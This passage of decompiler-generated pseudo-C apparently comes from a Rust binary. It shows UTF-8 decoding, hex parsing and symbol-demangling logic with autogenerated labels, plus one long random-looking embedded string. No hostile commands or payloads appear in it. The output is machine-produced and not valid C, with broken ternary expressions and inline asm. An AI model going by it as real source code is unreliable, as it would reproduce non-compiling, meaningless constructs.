																																												_t765 = 0;
																																												__eflags = 0;
																																												_t1112 = _t930;
																																											} else {
																																												_t766 =  *_t1112 & 0x000000ff;
																																												_t1112 =  &_v3;
																																												_t765 = _t766 & 0x0000003f;
																																											}
																																											_t612 = _t609 << 0x00000006 | (_t1004 & 0x00000007) << 0x00000012 | _t765;
																																											__eflags = _t612 - 0x110000;
																																											_t998 = _t612;
																																											if(_t612 == 0x110000) {
																																												break;
																																											} else {
																																												asm("o16 nop [cs:eax+eax]");
																																												goto L427;
																																											}
																																										}
																																									}
																																								}
																																							}
																																						} else {
																																							_t1112 = _t606;
																																							L427:
																																							_t506 = _t998 - 0x30; // -48
																																							__eflags = _t506 - 0xa;
																																							if(_t506 < 0xa) {
																																								continue;
																																							} else {
																																								_t998 = _t998 + 0xffffff9f;
																																								__eflags = _t998 - 6;
																																								if(_t998 < 6) {
																																									continue;
																																								} else {
																																									_t758 = 1;
																																									_t1113 = _v160;
																																									__eflags = _t1055;
																																									if(_t1055 != 0) {
																																										L432:
																																										_t598 =  *_t826;
																																										__eflags = _t598 - 0x2d;
																																										if(_t598 == 0x2d) {
																																											__eflags = _t1055 - 1;
																																											if(_t1055 == 1) {
																																												goto L245;
																																											} else {
																																												goto L437;
																																											}
																																										} else {
																																											__eflags = _t598 - 0x2b;
																																											if(_t598 != 0x2b) {
																																												L437:
																																												_t599 = 0;
																																												__eflags = 0;
																																												asm("o16 nop [cs:eax+eax]");
																																												while(1) {
																																													__eflags = _t1055;
																																													if(_t1055 == 0) {
																																														break;
																																													}
																																													_t935 =  *_t826 & 0x000000ff;
																																													_t998 = _t935 - 0x30;
																																													__eflags = _t998 - 0xa;
																																													if(_t998 < 0xa) {
																																														L441:
																																														_t604 = _t599 * 0x10;
																																														__eflags = _t604;
																																														if(_t604 < 0) {
																																															goto L245;
																																														} else {
																																															_t826 =  &(_t826[1]);
																																															_t1055 = _t1055 - 1;
																																															_t599 = _t604 + _t998;
																																															__eflags = _t599;
																																															if(_t599 >= 0) {
																																																continue;
																																															} else {
																																																goto L245;
																																															}
																																														}
																																													} else {
																																														_t941 =  <  ? 0xffffffff : (_t935 | 0x00000020) + 0xffffffffffffffa9;
																																														__eflags = _t941 - 0xf;
																																														_t998 = _t941;
																																														if(_t941 > 0xf) {
																																															goto L245;
																																														} else {
																																															goto L441;
																																														}
																																													}
																																													goto L498;
																																												}
																																												__eflags = (_t599 & 0xfffff800) - 0xd800;
																																												_t830 =  ==  ? 0x110000 : _t599;
																																												__eflags = _t599 - 0x110000;
																																												_t831 =  >=  ? 0x110000 :  ==  ? 0x110000 : _t599;
																																												__eflags = _t831 - 0x110000;
																																												_t758 = _t758 | _t599 & 0xffffff00 | _t831 == 0x00110000;
																																												__eflags = _t758;
																																												if(_t758 != 0) {
																																													goto L245;
																																												} else {
																																													__eflags = _t831 - 0x20;
																																													_v224 = _t831;
																																													if(_t831 < 0x20) {
																																														goto L245;
																																													} else {
																																														__eflags = _t831 + 0xffffff81 - 0x20;
																																														if(_t831 + 0xffffff81 <= 0x20) {
																																															goto L245;
																																														} else {
																																															_t602 = E6E9F3490( &_v224,  &_v224, _t1113);
																																															_t1127 = _t1127 + 8;
																																															__eflags = _t602;
																																															_t603 = _v236;
																																															_t998 = _v240;
																																															if(_t602 == 0) {
																																																goto L467;
																																															} else {
																																																goto L472;
																																															}
																																														}
																																													}
																																												}
																																											} else {
																																												_t509 =  &_v256;
																																												 *_t509 = _v256 + 0xfffffffe;
																																												__eflags =  *_t509;
																																												if( *_t509 == 0) {
																																													goto L245;
																																												} else {
																																													_t1055 = _v256;
																																													_t826 = _v264 + 3;
																																													goto L437;
																																												}
																																											}
																																										}
																																									} else {
																																										goto L245;
																																									}
																																								}
																																							}
																																						}
																																						goto L498;
																																					}
																																					_t758 = 0;
																																					_t1113 = _v160;
																																					__eflags = _t1055;
																																					if(_t1055 == 0) {
																																						goto L245;
																																					} else {
																																						goto L432;
																																					}
																																				}
																																			} else {
																																				goto L245;
																																			}
																																		}
																																	}
																																} else {
																																	goto L490;
																																}
																															}
																														}
																													}
																												} else {
																													__eflags =  *_t1055 - 0xc0;
																													if( *_t1055 < 0xc0) {
																														L482:
																														E6EA19620(_v264, _t924, 1, _t589, 0x6ea3f074);
																														_t1127 = _t1127 + 0xc;
																														asm("ud2");
																														goto L483;
																													} else {
																														goto L365;
																													}
																												}
																											}
																										}
																									} else {
																										__eflags =  *(_t1055 + 1) - 0xbf;
																										if( *(_t1055 + 1) <= 0xbf) {
																											_t821 = _t1055;
																											_t925 = _t998;
																											_push(0x6ea3f064);
																											goto L496;
																										} else {
																											goto L361;
																										}
																									}
																								} else {
																									__eflags = _t580 - 0x2e;
																									if(_t580 != 0x2e) {
																										break;
																									} else {
																										_t428 = _t1055 + 1; // 0x1
																										_t626 = _t428;
																										__eflags = _t998 - 2;
																										if(_t998 < 2) {
																											_t628 =  *((intOrPtr*)(_a24 + 0xc))(_a20, ".assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb", 1);
																											_t1127 = _t1127 + 0xc;
																											_t998 = 0;
																											__eflags = _t628;
																											_t603 = _t626;
																											if(_t628 == 0) {
																												goto L467;
																											} else {
																												goto L472;
																											}
																										} else {
																											_t932 =  *_t626;
																											__eflags = _t932 - 0xbf;
																											if(_t932 <= 0xbf) {
																												goto L491;
																											} else {
																												_t758 = _t626;
																												_t629 = _t932 & 0x000000ff;
																												__eflags = _t932;
																												if(_t932 < 0) {
																													_t1061 = _t1055 + _t998;
																													_t833 = 0;
																													_v260 = _t998;
																													__eflags = _t998 - 2;
																													_t1010 = _t1061;
																													if(_t998 != 2) {
																														_t487 = _v264 + 3; // 0x3
																														_t1010 = _t487;
																														_t833 =  *(_v264 + 2) & 0x3f;
																														__eflags = _t833;
																													}
																													_t630 = _t629 & 0x0000001f;
																													__eflags = _t932 - 0xdf;
																													if(_t932 <= 0xdf) {
																														_t631 = _t630 << 6;
																														goto L455;
																													} else {
																														__eflags = _t1010 - _t1061;
																														if(_t1010 == _t1061) {
																															_v256 = 0;
																															_t1011 = _t1061;
																															_t833 = (_t833 << 6) + _v256;
																															__eflags = _t932 - 0xf0;
																															if(_t932 >= 0xf0) {
																																goto L405;
																															} else {
																																goto L454;
																															}
																														} else {
																															_v248 = _t1061;
																															_t1011 =  &(_t1010[1]);
																															_v256 =  *_t1010 & 0x3f;
																															_t1061 = _v248;
																															_t833 = (_t833 << 6) + _v256;
																															__eflags = _t932 - 0xf0;
																															if(_t932 < 0xf0) {
																																L454:
																																_t631 = _t630 << 0xc;
																																__eflags = _t631;
																																L455:
																																_t1055 = _v264;
																																_t1001 = _v260;
																																__eflags = (_t631 | _t833) - 0x2e;
																																if((_t631 | _t833) == 0x2e) {
																																	goto L333;
																																} else {
																																	goto L456;
																																}
																															} else {
																																L405:
																																__eflags = _t1011 - _t1061;
																																if(_t1011 == _t1061) {
																																	_t933 = 0;
																																	__eflags = 0;
																																} else {
																																	_t933 =  *_t1011 & 0x3f;
																																}
																																_t1055 = _v264;
																																_t1001 = _v260;
																																__eflags = (_t833 << 0x00000006 | (_t630 & 0x00000007) << 0x00000012 | _t933) - 0x2e;
																																if((_t833 << 0x00000006 | (_t630 & 0x00000007) << 0x00000012 | _t933) == 0x2e) {
																																	goto L333;
																																} else {
																																	goto L456;
																																}
																															}
																														}
																													}
																												} else {
																													__eflags = _t629 - 0x2e;
																													if(_t629 != 0x2e) {
																														L456:
																														_t636 =  *((intOrPtr*)(_a24 + 0xc))(_a20, ".assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb", 1);
																														_t1127 = _t1127 + 0xc;
																														__eflags = _t636;
																														if(_t636 != 0) {
																															goto L472;
																														} else {
																															__eflags =  *_t758 - 0xbf;
																															if( *_t758 <= 0xbf) {
																																_t821 = _t1055;
																																_t925 = _t1001;
																																_push(0x6ea3f044);
																																goto L496;
																															} else {
																																_t998 = _t1001 - 1;
																																_t1055 = _t758;
																																continue;
																															}
																														}
																													} else {
																														L333:
																														_t634 =  *((intOrPtr*)(_a24 + 0xc))(_a20, 0x6ea3f020, 2);
																														_t1127 = _t1127 + 0xc;
																														__eflags = _t634;
																														if(_t634 != 0) {
																															goto L472;
																														} else {
																															_t432 = _t1055 + 2; // 0x2
																															_t603 = _t432;
																															__eflags = _t1001 - 3;
																															if(_t1001 < 3) {
																																L336:
																																_t998 = _t1001 + 0xfffffffe;
																																L467:
																																_t1055 = _t603;
																																continue;
																															} else {
																																__eflags =  *_t603 - 0xbf;
																																if( *_t603 <= 0xbf) {
																																	goto L497;
																																} else {
																																	goto L336;
																																}
																															}
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																								goto L498;
																							}
																							_t758 = _t1055 + _t998;
																							_t572 = 0;
																							__eflags = 0;
																							_t817 = _t1055;
																							_v260 = _t998;
																							_v256 = _t758;
																							while(1) {
																								__eflags = _t817 - _t758;
																								if(_t817 == _t758) {
																									goto L245;
																								}
																								_t1055 = _t572;
																								_t575 =  *_t817 & 0x000000ff;
																								_t436 = _t817 + 1; // 0x1
																								_t998 = _t436;
																								_t923 = _t575 & 0x000000ff;
																								__eflags = _t575;
																								if(_t575 >= 0) {
																									L353:
																									__eflags = _t923 - 0x24;
																									if(_t923 == 0x24) {
																										L355:
																										__eflags = _t1055;
																										if(_t1055 == 0) {
																											_t577 =  *((intOrPtr*)(_a24 + 0xc))(_a20, _v264, 0);
																											_t1127 = _t1127 + 0xc;
																											_t1001 = _v260;
																											_t818 = 0;
																											__eflags = _t577;
																											if(_t577 == 0) {
																												goto L376;
																											} else {
																												goto L472;
																											}
																										} else {
																											_t1001 = _v260;
																											__eflags = _t1001 - _t1055;
																											if(__eflags <= 0) {
																												_t825 = _v264;
																												if(__eflags != 0) {
																													goto L485;
																												} else {
																													goto L371;
																												}
																											} else {
																												_t825 = _v264;
																												__eflags =  *((char*)(_t825 + _t1055)) - 0xbf;
																												if( *((char*)(_t825 + _t1055)) > 0xbf) {
																													L371:
																													_t642 =  *((intOrPtr*)(_a24 + 0xc))(_a20, _t825, _t1055);
																													_t1127 = _t1127 + 0xc;
																													__eflags = _t642;
																													if(_t642 != 0) {
																														goto L472;
																													} else {
																														__eflags = _t1001 - _t1055;
																														if(__eflags <= 0) {
																															_t818 = _t1001;
																															if(__eflags != 0) {
																																goto L487;
																															} else {
																																goto L376;
																															}
																														} else {
																															_t643 = _v264;
																															__eflags =  *((char*)(_t643 + _t1055)) - 0xbf;
																															if( *((char*)(_t643 + _t1055)) <= 0xbf) {
																																goto L487;
																															} else {
																																_t818 = _t1055;
																																L376:
																																_t998 = _t1001 - _t818;
																																_t1055 = _v264 + _t818;
																																goto L326;
																															}
																														}
																													}
																												} else {
																													goto L485;
																												}
																											}
																										}
																									} else {
																										_t645 = _t1055 - _t817;
																										_t817 = _t998;
																										_t572 = _t645 + _t998;
																										__eflags = _t923 - 0x2e;
																										if(_t923 != 0x2e) {
																											continue;
																										} else {
																											goto L355;
																										}
																									}
																								} else {
																									__eflags = _t998 - _t758;
																									if(_t998 == _t758) {
																										_t998 = _t758;
																										_t767 = 0;
																										_t945 = _t923 & 0x0000001f;
																										__eflags = _t575 - 0xdf;
																										if(_t575 > 0xdf) {
																											goto L342;
																										} else {
																											goto L347;
																										}
																									} else {
																										_t438 = _t817 + 2; // 0x2
																										_t998 = _t438;
																										_t767 =  *(_t817 + 1) & 0x3f;
																										_t945 = _t923 & 0x0000001f;
																										__eflags = _t575 - 0xdf;
																										if(_t575 <= 0xdf) {
																											L347:
																											_t923 = _t945 << 0x00000006 | _t767;
																											_t758 = _v256;
																											goto L353;
																										} else {
																											L342:
																											_t1114 = _v256;
																											__eflags = _t998 - _t1114;
																											if(_t998 == _t1114) {
																												_t998 = _t1114;
																												_t769 = _t767 << 6;
																												__eflags = _t575 - 0xf0;
																												if(_t575 >= 0xf0) {
																													goto L344;
																												} else {
																													goto L349;
																												}
																											} else {
																												_t1119 =  *_t998 & 0x000000ff;
																												_t998 = _t998 + 1;
																												_t769 = _t767 << 0x00000006 | _t1119 & 0x0000003f;
																												__eflags = _t575 - 0xf0;
																												if(_t575 < 0xf0) {
																													L349:
																													_t923 = _t945 << 0x0000000c | _t769;
																													_t758 = _v256;
																													goto L353;
																												} else {
																													L344:
																													_t1116 = _v256;
																													__eflags = _t998 - _t1116;
																													if(_t998 == _t1116) {
																														_t646 = 0;
																														__eflags = 0;
																														_t998 = _t1116;
																													} else {
																														_t647 =  *_t998 & 0x000000ff;
																														_t998 = _t998 + 1;
																														_t646 = _t647 & 0x0000003f;
																													}
																													_t772 = _t769 << 0x00000006 | (_t945 & 0x00000007) << 0x00000012 | _t646;
																													__eflags = _t772 - 0x110000;
																													_t923 = _t772;
																													_t758 = _v256;
																													if(_t772 == 0x110000) {
																														goto L245;
																													} else {
																														asm("o16 nop [cs:eax+eax]");
																														goto L353;
																													}
																												}
																											}
																										}
																									}
																								}
																								goto L498;
																							}
																							goto L245;
																						}
																					} else {
																						goto L324;
																					}
																				}
																			} else {
																				_t846 = _v160;
																				_t651 =  *((intOrPtr*)( *((intOrPtr*)(_t846 + 0x1c)) + 0xc))( *((intOrPtr*)(_t846 + 0x18)), 0x6ea3f020, 2);
																				_t1127 = _t1127 + 0xc;
																				__eflags = _t651;
																				if(_t651 != 0) {
																					L472:
																					_t558 = 1;
																					goto L471;
																				} else {
																					goto L322;
																				}
																			}
																		} else {
																			L294:
																			__eflags = _v228 - _v232;
																			if(_v228 != _v232) {
																				goto L320;
																			} else {
																				__eflags = _t1059;
																				if(_t1059 == 0) {
																					goto L320;
																				} else {
																					__eflags = _v256 - 0x68;
																					if(_v256 != 0x68) {
																						goto L320;
																					} else {
																						__eflags = _t1059 - 2;
																						if(_t1059 < 2) {
																							goto L470;
																						} else {
																							_t950 =  *_t1103;
																							_t652 = _t1103;
																							__eflags = _t950 - 0xc0;
																							if(_t950 < 0xc0) {
																								L483:
																								_t825 = _v264;
																								_t927 = _t1055;
																								_push(0x6ea3efb0);
																								L484:
																								_push(_t1055);
																								_push(1);
																								E6EA19620(_t825, _t927);
																								_t1127 = _t1127 + 0xc;
																								asm("ud2");
																								L485:
																								_t928 = _t1001;
																								_push(0x6ea3f0b0);
																								goto L486;
																							} else {
																								_t1001 = _t652 + 1;
																								__eflags = _t950;
																								if(_t950 < 0) {
																									L301:
																									_t775 = _v252;
																									_t952 = _t950 & 0x0000001f;
																									__eflags = _t1001 - _t775;
																									if(_t1001 == _t775) {
																										_t847 = 0;
																										_t653 = _t775;
																										_t776 = _t952 & 0x000000ff;
																										__eflags = _t952 - 0xdf;
																										if(_t952 > 0xdf) {
																											goto L303;
																										} else {
																											goto L308;
																										}
																									} else {
																										_t853 = _t654[1] & 0x000000ff;
																										_t654 =  &(_t654[2]);
																										_t847 = _t853 & 0x0000003f;
																										_t776 = _t952 & 0x000000ff;
																										__eflags = _t952 - 0xdf;
																										if(_t952 <= 0xdf) {
																											L308:
																											_t779 = _t776 << 6;
																											goto L311;
																										} else {
																											L303:
																											_t1012 = _v252;
																											__eflags = _t653 - _t1012;
																											if(_t653 == _t1012) {
																												_t654 = _t1012;
																												_t1001 = 0;
																												_t849 = _t847 << 6;
																												__eflags = _t952 - 0xf0;
																												if(_t952 >= 0xf0) {
																													goto L305;
																												} else {
																													goto L310;
																												}
																											} else {
																												_t654 =  &(_t653[1]);
																												_t1001 =  *_t653 & 0x3f;
																												_t847 = _t847 << 0x00000006 | _t1001;
																												__eflags = _t952 - 0xf0;
																												if(_t952 < 0xf0) {
																													L310:
																													_t779 = _t776 << 0xc;
																													__eflags = _t779;
																													L311:
																													_t852 = _t847 | _t779;
																													_t762 = _v260;
																													goto L315;
																												} else {
																													L305:
																													_t1001 = _v252;
																													__eflags = _t654 - _t1001;
																													if(_t654 == _t1001) {
																														_t953 = 0;
																														__eflags = 0;
																														_t654 = _t1001;
																													} else {
																														_t956 =  *_t654 & 0x000000ff;
																														_t654 =  &(_t654[1]);
																														_t953 = _t956 & 0x0000003f;
																													}
																													_t762 = _v260;
																													_t852 = _t849 << 0x00000006 | (_t776 & 0x00000007) << 0x00000012 | _t953;
																													__eflags = _t852 - 0x110000;
																													if(_t852 == 0x110000) {
																														goto L470;
																													} else {
																														asm("o16 nop [cs:eax+eax]");
																														goto L315;
																													}
																												}
																											}
																										}
																									}
																								} else {
																									L300:
																									_t852 = _t950 & 0x000000ff;
																									_t654 = _t1001;
																									L315:
																									_t418 = _t852 - 0x30; // -48
																									__eflags = _t418 - 0xa;
																									if(_t418 < 0xa) {
																										L317:
																										__eflags = _t654 - _v252;
																										if(_t654 == _v252) {
																											goto L470;
																										} else {
																											_t950 =  *_t654;
																											_t1001 =  &(_t654[1]);
																											__eflags = _t950;
																											if(_t950 >= 0) {
																												goto L300;
																											} else {
																												goto L301;
																											}
																										}
																									} else {
																										_t858 =  <  ? 0xffffffff : (_t852 | 0x00000020) + 0xffffffffffffffa9;
																										__eflags = ( <  ? 0xffffffff : (_t852 | 0x00000020) + 0xffffffffffffffa9) - 0xf;
																										if(( <  ? 0xffffffff : (_t852 | 0x00000020) + 0xffffffffffffffa9) > 0xf) {
																											goto L320;
																										} else {
																											goto L317;
																										}
																									}
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	} else {
																		L481:
																		_t928 = _t758;
																		_push(0x6ea3f010);
																		L486:
																		_push(_t1055);
																		_push(0);
																		E6EA19620(_t825, _t928);
																		_t1127 = _t1127 + 0xc;
																		asm("ud2");
																		L487:
																		_t820 = _v264;
																		_t924 = _t1001;
																		_push(0x6ea3f0c0);
																		_push(_t1001);
																		L488:
																		_push(_t1055);
																		E6EA19620(_t820, _t924);
																		_t1127 = _t1127 + 0xc;
																		asm("ud2");
																		L489:
																		_t583 = E6EA19980(_t758, _t1001, _t1055, __eflags);
																		asm("ud2");
																		L490:
																		E6EA19620(_t820, _t924, _t583, _t924, 0x6ea3f084);
																		_t1127 = _t1127 + 0xc;
																		asm("ud2");
																		L491:
																		_t821 = _t1055;
																		_t925 = _t1001;
																		_push(0x6ea3f034);
																		L496:
																		_push(_t1001);
																		_push(1);
																		E6EA19620(_t821, _t925);
																		asm("ud2");
																		L497:
																		E6EA19620(_t1055, _t1001, 2, _t1001, 0x6ea3f054);
																		asm("ud2");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		asm("int3");
																		_t587 = _v256;
																		return  *((intOrPtr*)( *((intOrPtr*)(_t587 + 0x1c)) + 0xc))( *((intOrPtr*)(_t587 + 0x18)), "SizeLimitExhausted", 0x12);
																	}
																}
															}
														}
														goto L498;
													}
												}
												L470:
												_t558 = 0;
												__eflags = 0;
												goto L471;
											} else {
												_v224 = 0;
												_v220 =  *((intOrPtr*)(_t556 + 4));
												_v216 =  *((intOrPtr*)(_t556 + 8));
												_v212 = 0;
												_v208 = 0;
												_v204 = _t918;
												_v200 = 0;
												_t558 = E6E9F4AE0( &_v224);
												L471:
												return _t558;
											}
										} else {
											_t58 = _t910 + 1; // 0x1
											_t755 = _t58;
											_t758 =  *(_v160 + _t910) & 0x000000ff;
											_t1142 = _t758 -  *((intOrPtr*)(_t998 + _t910));
											_t910 = _t755;
											if(_t1142 == 0) {
												continue;
											} else {
												_t989 = _v156;
												_v164 = 0;
												_t998 = _t995 + _v124 + _t755;
												goto L9;
											}
										}
										goto L498;
									}
									_t998 = _t995;
									_t911 = _v136;
									_t996 = _v156;
									asm("o16 nop [eax+eax]");
									while(1) {
										__eflags = _v164 - _t911;
										if(_v164 >= _t911) {
											break;
										}
										_t902 = _t911 - 1;
										__eflags = _t902 - _v144;
										if(__eflags >= 0) {
											L234:
											_t916 = _v144;
											_push(0x6ea3f700);
											goto L235;
										} else {
											_t758 = _t902 + _t998;
											_t1055 = _t996;
											__eflags = _t758 - _t996;
											if(__eflags >= 0) {
												_t902 = _t758;
												_t916 = _t1055;
												_push(0x6ea3f710);
												goto L235;
											} else {
												_t751 = _v160;
												_t997 = _v148;
												__eflags = ( *(_t751 + _t902) & 0x000000ff) -  *((intOrPtr*)(_t997 + _t758));
												_t996 = _t1055;
												if(( *(_t751 + _t902) & 0x000000ff) ==  *((intOrPtr*)(_t997 + _t758))) {
													continue;
												} else {
													_t998 = _t998 + _v132;
													_v164 = _v128;
													goto L9;
												}
											}
										}
										goto L498;
									}
									L39:
									_t809 = _v152;
									_t1055 = _t998 + 6;
									__eflags = _t1055;
									if(_t1055 == 0) {
										L44:
										__eflags = _t1055 - _a4;
										if(_t1055 != _a4) {
											_t983 = _v152;
											_v140 = _t998;
											_t895 = _t983 + _a4;
											_t1087 = _t1055 + _t983;
											do {
												_t758 =  *_t1087 & 0x000000ff;
												_t704 = _t1087 + 1;
												_t984 = _t758 & 0x000000ff;
												__eflags = _t758;
												if(_t758 < 0) {
													__eflags = _t704 - _t895;
													if(_t704 == _t895) {
														_t1042 = 0;
														_t1055 = _t895;
														_t985 = _t984 & 0x0000001f;
														__eflags = _t758 - 0xdf;
														if(_t758 > 0xdf) {
															goto L55;
														} else {
															goto L60;
														}
													} else {
														_t1048 =  *(_t1087 + 1) & 0x000000ff;
														_t1087 = _t1087 + 2;
														_t1042 = _t1048 & 0x0000003f;
														_t985 = _t984 & 0x0000001f;
														__eflags = _t758 - 0xdf;
														if(_t758 <= 0xdf) {
															L60:
															_t988 = _t985 << 6;
															goto L63;
														} else {
															L55:
															__eflags = _t1055 - _t895;
															if(_t1055 == _t895) {
																_t1055 = _t895;
																_t1044 = _t1042 << 6;
																__eflags = _t758 - 0xf0;
																if(_t758 >= 0xf0) {
																	goto L57;
																} else {
																	goto L62;
																}
															} else {
																_t1087 = _t1055 + 1;
																_t1042 = _t1042 << 0x00000006 |  *_t1055 & 0x3f;
																__eflags = _t758 - 0xf0;
																if(_t758 < 0xf0) {
																	L62:
																	_t988 = _t985 << 0xc;
																	__eflags = _t988;
																	L63:
																	_t984 = _t988 | _t1042;
																	_t998 = _v140;
																	goto L67;
																} else {
																	L57:
																	__eflags = _t1055 - _t895;
																	if(_t1055 == _t895) {
																		_t706 = 0;
																		__eflags = 0;
																		_t1087 = _t895;
																	} else {
																		_t1087 = _t1055 + 1;
																		_t706 =  *_t1055 & 0x3f;
																	}
																	_t1047 = _t1044 << 0x00000006 | (_t985 & 0x00000007) << 0x00000012 | _t706;
																	__eflags = _t1047 - 0x110000;
																	_t984 = _t1047;
																	_t998 = _v140;
																	if(_t1047 == 0x110000) {
																		goto L45;
																	} else {
																		asm("o16 nop [cs:eax+eax]");
																		goto L67;
																	}
																}
															}
														}
													}
												} else {
													_t1087 = _t704;
													L67:
													_t152 = _t984 - 0x41; // -65
													__eflags = _t152 - 6;
													if(_t152 < 6) {
														goto L50;
													} else {
														__eflags = _t984 - 0x30;
														if(_t984 < 0x30) {
															goto L71;
														} else {
															__eflags = _t984 - 0x3a;
															if(_t984 < 0x3a) {
																goto L50;
															} else {
																__eflags = _t984 - 0x40;
																if(_t984 == 0x40) {
																	goto L50;
																} else {
																	goto L71;
																}
															}
														}
													}
												}
												goto L498;
												L50:
												__eflags = _t1087 - _t895;
											} while (_t1087 != _t895);
											goto L45;
										} else {
											L45:
											__eflags = _t998;
											if(_t998 == 0) {
												L215:
												_t808 = 3;
												goto L216;
											} else {
												_t1055 = _a4;
												__eflags = _t998 - _t1055;
												_v160 = _t1055;
												if(__eflags >= 0) {
													_t916 = _v152;
													if(__eflags == 0) {
														goto L72;
													} else {
														goto L89;
													}
												} else {
													_t916 = _v152;
													__eflags =  *((char*)(_t916 + _t998)) - 0xbf;
													if( *((char*)(_t916 + _t998)) <= 0xbf) {
														L89:
														_t809 = _t916;
														_t917 = _a4;
														_push(0x6ea3f4bc);
														_push(_t998);
														_push(0);
														goto L242;
													} else {
														_v160 = _t998;
														L72:
														__eflags = _v160 - 3;
														if(_v160 >= 3) {
															__eflags =  *(_t916 + 2) & 0x000000ff ^ 0x0000004e |  *_t916 & 0x0000ffff ^ 0x00005a5f;
															if(( *(_t916 + 2) & 0x000000ff ^ 0x0000004e |  *_t916 & 0x0000ffff ^ 0x00005a5f) == 0) {
																__eflags = _v160 - 4;
																_t758 = 0xfffffffd;
																_t806 = 3;
																if(_v160 < 4) {
																	_v160 = 3;
																	goto L93;
																} else {
																	__eflags =  *((char*)(_t916 + 3)) - 0xbf;
																	if( *((char*)(_t916 + 3)) > 0xbf) {
																		goto L93;
																	} else {
																		_t809 = _t916;
																		_t917 = _v160;
																		_push(0x6ea3ef80);
																		goto L241;
																	}
																}
															} else {
																goto L76;
															}
														} else {
															__eflags = _v160 - 2;
															_t808 = 3;
															_v160 = 2;
															if(_v160 == 2) {
																L76:
																__eflags = ( *_t916 & 0x0000ffff) - 0x4e5a;
																if(( *_t916 & 0x0000ffff) == 0x4e5a) {
																	__eflags = _v160 - 3;
																	_t758 = 0xfffffffe;
																	_t806 = 2;
																	if(_v160 < 3) {
																		_v160 = 2;
																		goto L93;
																	} else {
																		__eflags =  *(_t916 + 2) - 0xbf;
																		if( *(_t916 + 2) > 0xbf) {
																			goto L93;
																		} else {
																			_t809 = _t916;
																			_t917 = _v160;
																			_push(0x6ea3ef90);
																			goto L238;
																		}
																	}
																} else {
																	__eflags = _v160 - 4;
																	if(_v160 < 4) {
																		L160:
																		__eflags = _v160 - 3;
																		if(_v160 < 3) {
																			__eflags = _v160 - 2;
																			_t808 = 3;
																			if(_v160 != 2) {
																				goto L216;
																			} else {
																				__eflags =  *_t916 - 0x52;
																				_v160 = 2;
																				if( *_t916 != 0x52) {
																					goto L216;
																				} else {
																					goto L170;
																				}
																			}
																		} else {
																			goto L161;
																		}
																	} else {
																		__eflags =  *_t916 - 0x4e5a5f5f;
																		if( *_t916 != 0x4e5a5f5f) {
																			L161:
																			__eflags = ( *_t916 & 0x0000ffff) - 0x525f;
																			if(( *_t916 & 0x0000ffff) == 0x525f) {
																				_t685 =  *(_t916 + 2);
																				__eflags = _t685 - 0xbf;
																				if(_t685 <= 0xbf) {
																					_t809 = _t916;
																					_t917 = _v160;
																					_push(0x6ea3f138);
																					L238:
																					_push(_t917);
																					_push(2);
																					goto L242;
																				} else {
																					_t863 = _t916 + 2;
																					_t780 = 0xfffffffe;
																					__eflags = _t685 + 0xbf - 0x19;
																					if(_t685 + 0xbf > 0x19) {
																						goto L215;
																					} else {
																						goto L175;
																					}
																				}
																			} else {
																				__eflags =  *_t916 - 0x52;
																				if( *_t916 == 0x52) {
																					L170:
																					_t553 =  *((intOrPtr*)(_t916 + 1));
																					__eflags = _t553 - 0xbf;
																					if(_t553 <= 0xbf) {
																						goto L236;
																					} else {
																						_t863 = _t916 + 1;
																						_t780 = 0xffffffff;
																						__eflags = _t553 + 0xbf - 0x19;
																						if(_t553 + 0xbf <= 0x19) {
																							goto L175;
																						} else {
																							goto L215;
																						}
																					}
																				} else {
																					__eflags = _v160 - 3;
																					_t808 = 3;
																					if(_v160 <= 3) {
																						goto L216;
																					} else {
																						__eflags =  *(_t916 + 2) & 0x000000ff ^ 0x00000052 |  *_t916 & 0x0000ffff ^ 0x00005f5f;
																						_t808 = 3;
																						if(( *(_t916 + 2) & 0x000000ff ^ 0x00000052 |  *_t916 & 0x0000ffff ^ 0x00005f5f) != 0) {
																							goto L216;
																						} else {
																							_t689 =  *((intOrPtr*)(_t916 + 3));
																							__eflags = _t689 - 0xbf;
																							if(_t689 <= 0xbf) {
																								L240:
																								_t809 = _t916;
																								_t917 = _v160;
																								_push(0x6ea3f158);
																								L241:
																								_push(_t917);
																								_push(3);
																								goto L242;
																							} else {
																								_t863 = _t916 + 3;
																								_t780 = 0xfffffffd;
																								__eflags = _t689 + 0xbf - 0x19;
																								if(_t689 + 0xbf <= 0x19) {
																									L175:
																									_t758 = _t780 + _v160;
																									_t665 = 0;
																									asm("o16 nop [cs:eax+eax]");
																									while(1) {
																										__eflags = _t758 - _t665;
																										if(_t758 == _t665) {
																											break;
																										}
																										__eflags =  *((char*)(_t863 + _t665));
																										_t665 = _t665 + 1;
																										if(__eflags >= 0) {
																											continue;
																										} else {
																											goto L215;
																										}
																										goto L498;
																									}
																									_v104 = 0;
																									_v100 = _t863;
																									_v144 = _t863;
																									_v96 = _t758;
																									_v88 = 0;
																									_v92 = 0;
																									_v80 = 0;
																									_v84 = 0;
																									__eflags = E6E9F4AE0( &_v104);
																									if(__eflags != 0) {
																										L239:
																										_t916 = 0x3d;
																										E6EA195A0(_t758, "`fmt::Error`s should be impossible without a `fmt::Formatter`", 0x3d, __eflags,  &_v32, 0x6ea3eec4, 0x6ea3f1b8);
																										_t1124 = _t1124 + 0xc;
																										asm("ud2");
																										goto L240;
																									} else {
																										__eflags = _v104 - 1;
																										_t963 = _v152;
																										if(_v104 == 1) {
																											goto L215;
																										} else {
																											_t866 = _v96;
																											_t669 = _v92;
																											_t998 = _v100;
																											__eflags = _t669 - _t866;
																											if(_t669 >= _t866) {
																												L218:
																												_v164 = _t998;
																												goto L219;
																											} else {
																												_v156 = _t866;
																												__eflags =  *((intOrPtr*)(_t998 + _t669)) + 0xbf - 0x1a;
																												if( *((intOrPtr*)(_t998 + _t669)) + 0xbf >= 0x1a) {
																													_t866 = _v156;
																													goto L218;
																												} else {
																													_v104 = 0;
																													_v100 = _t998;
																													_v96 = _v156;
